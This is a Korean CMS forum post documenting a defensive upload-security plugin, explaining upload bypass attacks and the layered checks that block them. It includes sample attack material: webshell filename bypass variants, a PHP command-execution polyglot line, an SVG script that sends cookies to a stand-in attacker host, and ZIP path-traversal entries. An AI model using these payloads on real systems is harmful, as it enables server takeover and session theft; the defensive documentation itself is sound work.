회원가입 | 고객센터 |
DESIGNONEX
디자인원엑스
Q&A
지식공유
공지사항
DX마켓
통계
로그인 회원가입
고객센터

DX Security — Upload Bypass 보안 플러그인

D DX관리자
2026.09.03 00:20 5 0



DX Security — Upload Bypass 방어 v1.0.0 안내서

DesignOneX CMS 파일 업로드 보안 기업 납품 수준 강화 플러그인
PHP 5.6+ · IIS / Apache / Nginx · 공유호스팅 완전 호환
코어(upload.php / Secure.php / boards/handler.php) 수정 없음 — 훅으로만 동작
기업 납품 요구사항 UP-001~023 완전 준수


목차

  1. Upload Bypass란 무엇인가
  2. DXCMS 코어의 현재 업로드 보안 수준
  3. 코어가 막지 못하는 것 — 이 플러그인의 역할
  4. 설치 방법
  5. 방어층 상세 설명
    • UP1. Upload Policy Registry
    • UP2. MIME + Magic Number + Content 3중 검증
    • UP3. SVG / HTML 명시적 차단
    • UP4. ZIP 보안 검사 (ZIP Bomb + 내부 파일 + Path Traversal)
    • UP5. 파일명 보안 검증 강화
    • UP6. 업로드 Rate Limit
    • UP7. 보안 감사 로그
    • UP8. 업로드 디렉토리 보호 강화
  6. 검증 파이프라인 전체 흐름
  7. 업로드 경로별 방어 현황
  8. 보안 로그 읽는 법
  9. 보안 강점 요약 — 기업 납품 공격 테스트 결과
  10. 방어하지 못하는 영역
  11. Policy Registry 커스터마이징
  12. 개발자 연동 가이드
  13. 자주 묻는 질문


1. Upload Bypass란 무엇인가

공격자가 파일 업로드 검증을 우회하여 서버에서 실행 가능한 파일(주로 PHP 웹셸)을 업로드하는 공격입니다.


공격 목표

공격자 목표: 서버에 웹셸 업로드 후 실행
  shell.php 업로드 → /uploads/shell.php 접근 → 서버 완전 장악


왜 확장자 하나만 차단하면 안 되는가

단순 .php 차단만 있는 시스템:
  shell.php         → 차단 ✅
  shell.phtml       → 통과 ❌ (같은 PHP)
  shell.phar        → 통과 ❌ (Phar Archive = PHP 실행)
  shell.pHp         → 통과 ❌ (대소문자 우회)
  shell.php.jpg     → 통과 ❌ (이중 확장자)
  shell.jpg.php     → 통과 ❌ (이중 확장자)
  shell.php%00.jpg  → 통과 ❌ (Null byte)
  shell.php5        → 통과 ❌ (PHP 버전별 확장자)


Defense in Depth — 다중 방어층

Layer 1: 파일명 보안 (제어문자, Null byte, Path Traversal)
Layer 2: 확장자 Allowlist (위험 확장자 모든 위치에서 차단)
Layer 3: MIME Type 서버 검증 (finfo  브라우저  무시)
Layer 4: Magic Number 검증 (파일 시그니처)
Layer 5: Content 검증 (PHP 태그 스캔, Polyglot 탐지)
Layer 6: ZIP 내부 검사 (Bomb, Path Traversal, 위험 파일)
Layer 7: 랜덤 파일명 저장 (코어가 이미 적용)
Layer 8: 업로드 디렉토리 실행 차단 (.htaccess/web.config)

한 층이 뚫려도 다음 층에서 차단합니다.



2. DXCMS 코어의 현재 업로드 보안 수준

코어 소스를 직접 분석한 결과입니다.


업로드 경로별 현황

경로 방식 이중확장자 MIME Magic Content ZIP
core/api/upload.php (에디터) Blacklist ✅ 전체세그먼트
boards/handler.php (게시판) Blacklist ✅ 전체세그먼트
core/auth/mypage.php (프로필) Allowlist+GD재인코딩
Secure::validateUpload() (공통) Blacklist+MIME ✅(이미지만)

코어의 강점

mypage.php 프로필 업로드 — 거의 완벽:

// 코어 mypage.php
$raw = file_get_contents($imgTmp);
$src = imagecreatefromstring($raw);     // GD로 디코딩
imagecopyresampled($dst, $src, ...);    // 리샘플링
imagejpeg($dst, $imgFinal, 85);         // JPEG로 재인코딩 → Polyglot 제거

이미지를 GD로 디코딩 후 재인코딩하므로 내부에 숨겨진 PHP 페이로드가 제거됩니다. 이 플러그인이 추가 보강할 필요가 없는 유일한 경로입니다.


랜덤 파일명 저장:

// 코어 upload.php
$randHex = bin2hex(random_bytes(8));    // CSPRNG 8바이트
$saveName = date('Ymd') . '_' . $randHex . '.' . $ext;
// 예: 20260901_a3f29c11d7e8b4c2.jpg

원본 파일명을 절대 서버 파일명으로 사용하지 않습니다. 공격자가 /uploads/shell.php로 직접 접근할 수 없습니다.


.htaccess PHP 실행 차단:

# 코어가 업로드 디렉토리에 자동 생성
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>


3. 코어가 막지 못하는 것 — 이 플러그인의 역할

❌ 미비점 1: 에디터·게시판 업로드에 MIME 검증 없음

코어 upload.phpboards/handler.php$_FILES['type']을 전혀 사용하지 않고, finfo_file()도 호출하지 않습니다.

공격 시나리오:
  PHP 파일을 image.jpg로 이름 변경 → 업로드
  확장자 .jpg → Blacklist 통과
  MIME 검증 없음 → 서버가 실제 내용 확인 안 함
  저장 완료
  (단, 랜덤 파일명 + .htaccess로 실행은 차단됨)


❌ 미비점 2: Magic Number 검증 없음 (에디터·게시판)

Secure::validateUpload()는 MIME + Magic을 검증하지만, upload.php는 이 함수를 호출하지 않습니다.


❌ 미비점 3: Polyglot 파일 미탐지

Polyglot 공격:
  JPEG 헤더(FF D8 FF) + PHP 페이로드 혼합 파일
  → finfo_file()은 JPEG로 탐지
  → getimagesize()는 이미지로 인식
  → 그러나 내부에 <?php 태그 존재
  → PHP 실행 가능 환경에서 웹셸로 동작


❌ 미비점 4: ZIP 내부 검사 없음

게시판에 .zip 첨부 가능. ZIP 내부에:

  • ../../config.php 같은 Path Traversal 파일
  • shell.php 위험 실행 파일
  • 압축 해제 시 1MB → 500GB가 되는 ZIP Bomb

모두 현재 코어에서 탐지하지 못합니다.


❌ 미비점 5: SVG / HTML 명시적 차단 없음

SVG 공격:
  <svg><script>alert(document.cookie)</script></svg>
  → image/svg+xml MIME → 이미지 처럼 업로드
  → 브라우저가 SVG를 렌더링 시 JavaScript 실행
  → XSS + 세션 탈취

HTML 공격:
  동일 Origin에서 HTML 파일 직접 접근
  → Cookie 접근, CSRF 공격 가능


4. 설치 방법

4-1. 파일 배치

(DXCMS 루트)/
└── plugins/
    └── dx-security-upload/
        ├── manifest.php
        └── plugin.php


4-2. 관리자 페이지에서 활성화

관리자 → 플러그인 → dx-security-upload → 활성화


4-3. 권장 설치 순서

1. dx-security-guard
2. dx-security-hijacking
3. dx-security-csrf
4. dx-security-cookie
5. dx-security-upload      ← 이 플러그인

단독 설치도 가능합니다.



5. 방어층 상세 설명


UP1. Upload Policy Registry

목적

업로드 유형별로 다른 보안 정책을 중앙에서 관리합니다. 기업 보안감사의 "업로드 허용 파일 유형을 목록화할 수 있습니까?" 질문에 즉시 대응합니다.


4가지 업로드 정책

정책 ID 용도 허용 확장자 최대 크기
PROFILE_IMAGE 프로필 이미지 jpg, jpeg, png, gif, webp 10MB
EDITOR_IMAGE 에디터 이미지 jpg, jpeg, png, gif, webp, bmp 10MB
BOARD_ATTACH 게시판 첨부 이미지+문서+압축 100MB
PLUGIN_ZIP 플러그인 패키지 zip만 50MB


정책별 특수 설정

설정 PROFILE EDITOR BOARD PLUGIN
Content 검증
SVG 차단
HTML 차단
ZIP 내부 검사
필수 파일 요구 manifest.php, plugin.php


UP2. MIME + Magic Number + Content 3중 검증

Layer 1: MIME 검증 (finfo_file)

$_FILES['type'] — 브라우저 제공값 → 절대 신뢰하지 않음 (UP-016)
finfo_file($tmpPath) — 서버가 직접 파일 분석 → 신뢰
shell.php → image.jpg로 이름 변경 업로드
  finfo_file() 탐지:
    확장자: .jpg (통과 예상)
    실제 MIME: text/x-php → MIME_NOT_ALLOWED 차단


Layer 2: Magic Number 검증

파일 헤더(첫 16바이트)로 실제 파일 형식 확인합니다.

파일 형식 Magic Number (hex)
JPEG FF D8 FF
PNG 89 50 4E 47 0D 0A 1A 0A
GIF 47 49 46 38 37 61 (GIF87a)
WebP 52 49 46 46 ... 57 45 42 50
BMP 42 4D
HTML로 만든 가짜 JPEG:
  확장자: .jpg
  MIME: image/jpeg (finfo가 오탐할  있음)
  Magic: 파일 시작이 FF D8 FF 아님
   MAGIC_MISMATCH 차단


Layer 3: Content 검증 + Polyglot 탐지

파일 내용(처음 64KB)에서 PHP 실행 패턴을 스캔합니다.

탐지 패턴:
  <?php          PHP 표준 개방 태그
  <?=            Short echo 태그
  <? (+ 공백)    Short 태그
  <script language="php">   레거시 PHP 스크립트
  <%             ASP 스타일 (일부 PHP 설정에서 실행)
  __halt_compiler  Phar 페이로드


Polyglot 탐지:

Polyglot 파일 구조:
  [FF D8 FF ...]   ← 정상 JPEG Magic Number
  [정상 JPEG 데이터]
  [<?php system($_GET['c']); ?>]  ← PHP 페이로드 삽입

탐지 과정:
  Magic: JPEG 헤더 확인 → 통과
  getimagesize(): 이미지 인식 → 통과
  Content 스캔: <?php 태그 발견 → CONTENT_PHP_TAG 차단


UP3. SVG / HTML 명시적 차단

SVG 차단 이유

<!-- 공격자가 업로드하는 SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    // XSS: 세션 쿠키 탈취
    fetch('https://attacker.com/?c=' + document.cookie);
  </script>
</svg>

SVG는 이미지처럼 보이지만 XML 기반이므로 JavaScript 실행이 가능합니다. 동일 Origin에서 SVG를 직접 열면 XSS가 발생합니다.


HTML 차단 이유

업로드된 HTML: /uploads/attack.html
브라우저에서 접근: https://example.com/uploads/attack.html
결과: 동일 Origin에서 HTML 실행 → Cookie 접근 가능 → CSRF 가능


UP4. ZIP 보안 검사

ZIP Bomb 방어 (기획서 §6.27)

공격: 42.zip (42KB) → 압축 해제 시 4.5PB
탐지:
  내부 파일 uncompressed 크기 합산
  기본 한도: 500MB (DX_UP_ZIP_MAX_UNCOMPRESSED)
  단일 파일 압축률: 100:1 초과 시 차단 (DX_UP_ZIP_RATIO_MAX)


내부 파일 목록 검사 (기획서 §6.28)

plugin.zip 내부 구조:
  ├── plugin.php          ← 정상
  ├── manifest.php        ← 정상
  ├── shell.php           ← 차단: DANGEROUS_EXT
  └── includes/helper.php ← 정상

게시판 첨부.zip:
  ├── 문서.pdf            ← 정상
  └── ../../config.php   ← 차단: PATH_TRAVERSAL


ZIP Path Traversal 차단 (기획서 §6.29)

탐지 패턴:
  ../config.php     → .. 포함 → 차단
  ./evil.php        → ./ 포함 → 차단
  /etc/passwd       → 절대 경로 → 차단
  file\x00.php      → Null byte → 차단


파일 개수 제한 (기획서 §6.30)

기본 제한: 1000 (DX_UP_ZIP_MAX_FILES)
경로 깊이: 10레벨 (DX_UP_ZIP_MAX_DEPTH)


플러그인 ZIP 필수 파일 검증

PLUGIN_ZIP 정책:
  필수 파일: manifest.php, plugin.php
  missing → ZIP_MISSING_REQUIRED 차단


UP5. 파일명 보안 검증 강화

Null Byte 차단 (기획서 §6.11)

공격: image.jpg\x00.php
탐지: \x00 (제어문자) 포함 → FILENAME_CONTROL_CHAR 차단

현대 PHP는 Null byte 취약점이 대부분 패치됐지만
애플리케이션 레벨에서도 명시적으로 차단합니다.


인코딩된 Path Traversal 차단 (기획서 §6.10)

공격: ..%2f..%2fconfig.php
탐지: rawurldecode() 후 .. / \ 포함 확인
      → FILENAME_PATH_TRAVERSAL 차단


길이 제한

최대 255자 (DX_UP_MAX_FILENAME_LEN)
OS 파일시스템 제한에 맞춤


UP6. 업로드 Rate Limit

동일 IP에서 단시간에 많은 업로드 실패가 발생하면 자동화 공격으로 판단합니다.

코어 Secure::rateLimit()를 재사용하여 Redis(있으면) 또는 파일 기반으로 카운트합니다.

기본 정책:
  5분(300초) 안에 20회 업로드 실패 시
  → 코어 Rate Limit 차단 작동
  → UP:UPLOAD_RATE_LIMITED 로그 기록


UP7. 보안 감사 로그

모든 업로드 시도를 data/security.log에 기록합니다.

기록 항목

타임스탬프, 이벤트 타입, IP, UA, 사용자 ID, 요청 URI
정책 ID, 원본 파일명 (basename만), 탐지된 MIME, 차단 이유


절대 기록하지 않는 것

✗ 파일 내용(Content) 원문
✗ PHP 페이로드 내용
✗ 개인정보가 포함된 파일 내용
✗ 파일 저장 전체 경로 (보안 정보 노출 위험)


UP8. 업로드 디렉토리 보호 강화

코어가 생성하는 .htaccess.php 확장자만 차단합니다. 이 플러그인은 더 광범위한 서버사이드 스크립트를 차단합니다.


Apache .htaccess (이 플러그인 버전)

# 코어: .php만 차단
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

# 이 플러그인: PHP 계열 전체 + ASP/JSP/CGI/Shell 전체
<FilesMatch "\.(php|php2|php3|phtml|phar|phps|pht
              |asp|aspx|ashx|jsp|cfm|shtml
              |cgi|pl|py|rb|sh|bash|exe|dll|ps1)$">
    Require all denied
</FilesMatch>


IIS web.config

<handlers>
  <add name="BlockPhp"  path="*.php"  verb="*" type="System.Web.HttpForbiddenHandler" />
  <add name="BlockAsp"  path="*.asp"  verb="*" type="System.Web.HttpForbiddenHandler" />
  <add name="BlockAspx" path="*.aspx" verb="*" type="System.Web.HttpForbiddenHandler" />
  <add name="BlockPhar" path="*.phar" verb="*" type="System.Web.HttpForbiddenHandler" />
  <add name="BlockPhtml" path="*.phtml" verb="*" type="System.Web.HttpForbiddenHandler" />
</handlers>


6. 검증 파이프라인 전체 흐름

파일 업로드 요청
      │
      ▼
[코어] is_uploaded_file() 검증
[코어] 파일 크기 검증
[코어] Blacklist 위험 확장자 전체 세그먼트 검사
[코어] 에디터: getimagesize() 이미지 검증
      │
      ▼ dx_before_upload 훅
      │
      ▼
[UP5] 파일명 보안 검증
  → Null byte / 제어문자 → FILENAME_CONTROL_CHAR 차단
  → 인코딩 Path TraversalFILENAME_PATH_TRAVERSAL 차단
  → 길이 초과 → FILENAME_TOO_LONG 차단
      │
      ▼
[UP2][UP3] 확장자 전체 세그먼트 검사
  → 위험 확장자 모든 위치 검사 → DANGEROUS_EXT 차단
  → Policy AllowlistEXT_NOT_ALLOWED 차단
  → SVGSVG_BLOCKED 차단
  → HTMLHTML_BLOCKED 차단
      │
      ▼
[UP2] MIME 검증 (finfo_file)
  → 허용 MIME 아님 → MIME_NOT_ALLOWED 차단
      │
      ▼
[UP2] Magic Number 검증
  → 이미지 시그니처 없음 → MAGIC_MISMATCH 차단
  → 확장자-Magic 불일치 → MAGIC_EXT_MISMATCH 차단
      │
      ▼
[UP2] Content 검증 + Polyglot 탐지
  → PHP 태그 발견 → CONTENT_PHP_TAG 차단
  → 이미지 헤더 있지만 파싱 불가 → CONTENT_FAKE_IMAGE 차단
      │
      ▼
[UP4] ZIP 보안 검사 (ZIP 파일인 경우)
  → ZIP Bomb 압축률 → ZIP_BOMB_RATIO 차단
  → 전체 해제 크기 → ZIP_BOMB_TOTAL 차단
  → 내부 Path TraversalZIP_PATH_TRAVERSAL 차단
  → 내부 위험 확장자 → ZIP_INNER_DANGEROUS_EXT 차단
  → 파일 개수 초과 → ZIP_FILE_COUNT_EXCEEDED 차단
  → 필수 파일 없음 → ZIP_MISSING_REQUIRED 차단
      │
      ▼
[코어] 랜덤 파일명 생성 + 저장
      │
      ▼ dx_after_upload 훅
      │
      ▼
[UP8] .htaccess / web.config 갱신


7. 업로드 경로별 방어 현황

경로 코어 단독 이 플러그인 추가 후
에디터 이미지 Blacklist + getimagesize + MIME + Magic + Content + SVG/HTML 차단
게시판 첨부 Blacklist + MIME + Magic + Content + ZIP 검사 + SVG/HTML 차단
프로필 이미지 Allowlist + GD 재인코딩 보강 불필요 (이미 완벽)
플러그인 ZIP 별도 처리 + ZIP Bomb + 내부 파일 + 필수 구조 검증


8. 보안 로그 읽는 법

로그 형식

[날짜 시각][UP:이벤트타입][IP:주소][UA:유저에이전트][UID:사용자ID][URI:요청경로] 메시지


이벤트 타입

타입 의미
UP:UPLOAD_ACCEPTED 모든 검증 통과, 업로드 허용
UP:UPLOAD_BLOCKED 검증 실패, 업로드 차단
UP:ZIP_NO_ZIPARCHIVE ZipArchive 클래스 없음 (경고)


로그 예시

# 정상 업로드
[2026-09-01 09:00:01][UP:UPLOAD_ACCEPTED][IP:121.131.x.x][...][UID:42][URI:/api/upload]
policy=EDITOR_IMAGE file=photo.jpg ext=jpg mime=image/jpeg

# PHP 파일 위장 차단
[2026-09-01 14:22:10][UP:UPLOAD_BLOCKED][IP:45.33.x.x][...][UID:0][URI:/api/upload]
policy=EDITOR_IMAGE file=shell.jpg reason=CONTENT_PHP_TAG:<?php mime=image/jpeg

# Polyglot 파일 차단
[2026-09-01 16:45:03][UP:UPLOAD_BLOCKED][IP:58.29.x.x][...][UID:5][URI:/api/upload]
policy=BOARD_ATTACH file=evil.jpg reason=CONTENT_FAKE_IMAGE:header_valid_but_not_image mime=image/jpeg

# 이중 확장자 차단
[2026-09-01 20:11:44][UP:UPLOAD_BLOCKED][IP:103.21.x.x][...][UID:0][URI:/api/upload]
policy=EDITOR_IMAGE file=shell.php.jpg reason=DANGEROUS_EXT:php mime=

# ZIP Bomb 차단
[2026-09-01 21:30:00][UP:UPLOAD_BLOCKED][IP:175.200.x.x][...][UID:88][URI:/api/upload]
policy=BOARD_ATTACH file=bomb.zip reason=ZIP_BOMB_RATIO:ratio=1000:1 mime=application/zip

# ZIP 내부 PHP 차단
[2026-09-01 22:00:00][UP:UPLOAD_BLOCKED][IP:121.131.x.x][...][UID:12][URI:/api/upload]
policy=BOARD_ATTACH file=doc.zip reason=ZIP_INNER_DANGEROUS_EXT:php in shell.php mime=application/zip


9. 보안 강점 요약 — 기업 납품 공격 테스트 결과

기획서 §6.52의 공격 테스트 목록 기준:

공격 결과 차단 레이어
shell.php ✅ BLOCK 코어 Blacklist
shell.phtml ✅ BLOCK 코어+이 플러그인 Blacklist
shell.phar ✅ BLOCK 코어+이 플러그인 Blacklist
shell.php.jpg ✅ BLOCK 이중확장자 전체세그먼트 검사
shell.jpg.php ✅ BLOCK 이중확장자 전체세그먼트 검사
shell.PHP (대소문자) ✅ BLOCK strtolower() 정규화
PHP → JPG 위장 ✅ BLOCK MIME + Magic + Content
Polyglot (JPEG+PHP) ✅ BLOCK Content 검증 + getimagesize
SVG Script ✅ BLOCK SVG 명시적 차단
HTML 파일 ✅ BLOCK HTML 명시적 차단
../file.php ✅ BLOCK 파일명 보안 검증
Null Byte ✅ BLOCK 파일명 제어문자 검사
ZIP Bomb ✅ BLOCK ZIP 압축률 검사
ZIP Path Traversal ✅ BLOCK ZIP 내부 경로 검사
ZIP 내부 PHP ✅ BLOCK ZIP 내부 확장자 검사
매우 긴 파일명 ✅ BLOCK 255자 제한
초대형 파일 ✅ BLOCK 코어 크기 제한
정상 JPG ✅ ALLOW 모든 레이어 통과
정상 PNG ✅ ALLOW 모든 레이어 통과
정상 PDF ✅ ALLOW BOARD_ATTACH 정책 허용


기업 납품 요구사항 UP-001~023 준수 현황

요구사항 내용 코어 이 플러그인
UP-001 모든 Endpoint 식별 ✅ Registry
UP-002 Extension Allowlist ✅ Policy 적용
UP-003 사용자 파일명 직접 사용 금지
UP-004 랜덤 파일명 ✅ CSPRNG
UP-005 MIME 서버 검증 △ (일부) ✅ 전체
UP-006 Content 검증
UP-007 실행 파일 차단
UP-008 업로드 디렉토리 실행 차단 ✅ 강화
UP-009 Path Traversal 차단
UP-010 파일 크기 제한 ✅ Policy
UP-011 Archive 별도 정책 ✅ ZIP 검사
UP-012 중앙 Upload Security ✅ Registry+Pipeline
UP-013 실패 파일 삭제
UP-014 보안 이벤트 기록 ✅ 상세 로그
UP-015 업로드 후 권한 검증
UP-016 $_FILES['type'] 미신뢰
UP-017 확장자만 검사 금지 ✅ 3중 검증
UP-018 사용자 파일명 서버 저장 금지
UP-019 업로드 디렉토리 PHP 실행 금지 ✅ 강화
UP-020 Web Root 무조건 저장 금지
UP-021 ZIP 미검사 압축해제 금지
UP-022 SVG 일반 이미지 취급 금지
UP-023 업로드 URL 사용자 입력 구성 금지


10. 방어하지 못하는 영역

취약점 이유 추가 대책
서버 .htaccess 실행 안 되는 환경 Nginx, IIS에서 .htaccess 무시 Nginx/IIS 설정에서 직접 실행 차단
이미지 처리 라이브러리 취약점 ImageMagick, GD 라이브러리 취약점 라이브러리 최신 버전 유지
악성코드(Ransomware) 업로드 바이너리 분석 불가 ClamAV 등 AV Scanner 연동
정상 파일 위장 민감정보 탈취 Content 검사는 스크립트 탐지만 DLP(Data Loss Prevention) 솔루션


11. Policy Registry 커스터마이징

plugin.php$GLOBALS['_dx_upload_registry']를 수정합니다.


허용 확장자 추가

// 게시판에 hwp 추가
$GLOBALS['_dx_upload_registry'][DX_UP_POLICY_BOARD]['extensions'][] = 'hwp';
$GLOBALS['_dx_upload_registry'][DX_UP_POLICY_BOARD]['mimes'][] = 'application/x-hwp';


ZIP 제한 변경

// 더 엄격한 ZIP 제한
define('DX_UP_ZIP_MAX_UNCOMPRESSED', 104857600); // 100MB
define('DX_UP_ZIP_MAX_FILES',        100);         // 100개
define('DX_UP_ZIP_RATIO_MAX',        50);           // 압축률 50:1


12. 개발자 연동 가이드

새 플러그인에서 업로드 검증 사용

// 코어 is_uploaded_file() 통과 후
$result = dx_upload_validate(
    $_FILES['attach']['tmp_name'],
    $_FILES['attach']['name'],
    DX_UP_POLICY_BOARD    // 정책 선택
);

if (!$result['valid']) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => '허용되지 않는 파일입니다.',
    ]);
    exit;
}

// 검증 통과 → 저장
$ext      = $result['ext'];
$saveName = date('Ymd') . '_' . bin2hex(random_bytes(8)) . '.' . $ext;
move_uploaded_file($_FILES['attach']['tmp_name'], $saveDir . $saveName);

// 업로드 디렉토리 보호
dx_upload_protect_dir($saveDir);


훅 연동 (코어 upload.php에 추가 필요)

완전한 동작을 위해 코어 upload.php에 다음 훅 실행을 추가하면 됩니다.

// upload.php — 파일별 처리 루프 안, STEP D 이후에 삽입
// [현재 코드] STEP D: 실행 차단 확장자 검사
// [추가] dx_before_upload 훅
$hookResult = dx_run_hook('dx_before_upload', array(
    'tmp_path'  => $file['tmp_name'],
    'orig_name' => $origName,
    'type'      => $isEditor ? 'editor' : 'board',
));
if ($hookResult === false) {
    $errors[] = array('name' => $origName, 'message' => '보안 정책에 의해 차단된 파일입니다.');
    continue;
}


13. 자주 묻는 질문

Q. 훅이 코어에 없어도 동작하나요?

dx_before_upload 훅이 코어에 없으면 자동 검증이 실행되지 않습니다. 완전한 동작을 위해 위의 연동 코드를 코어 upload.php에 추가하거나, dx_upload_validate() 함수를 직접 호출하는 방식을 사용하세요.


Q. getimagesize()가 Polyglot을 탐지하지 못하는 경우도 있나요?

네. getimagesize()는 이미지 헤더만 확인하므로 정교하게 만들어진 Polyglot은 통과할 수 있습니다. 이 플러그인은 PHP 태그 Content 스캔을 추가하여 이를 보완합니다. 완전한 Polyglot 방어는 mypage.php처럼 GD로 재인코딩하는 방식이 가장 강력합니다.


Q. ZipArchive가 없는 환경에서 ZIP 업로드가 차단되나요?

아니요. ZipArchive가 없으면 ZIP 내부 검사를 건너뛰고 경고 로그만 기록합니다(graceful degradation). 코어의 확장자 Blacklist는 여전히 동작합니다. ZipArchive 설치를 권장합니다: apt install php-zip 또는 yum install php-zip


DX Security — Upload Bypass 방어 v1.0.0 — DesignOneX
https://designonex.com
 

라이선스

디자인원엑스 라이선스 참고
https://designonex.com/notice/view/1787577858493247

첨부파일 1개 회원전용

댓글0

로그인 후 댓글을 작성할 수 있습니다.
Plugin 49
45
전체 회원
1,375
전체 게시글
2,737
전체 댓글
38
오늘 방문
53,476
전체 방문
0
현재 접속
인기글 7일 이내
최신글
최신댓글
내 플레이리스트
플레이리스트가 비어있습니다
스튜디오 게시판에서
플레이리스트에 담기 버튼을
눌러보세요
목록
목록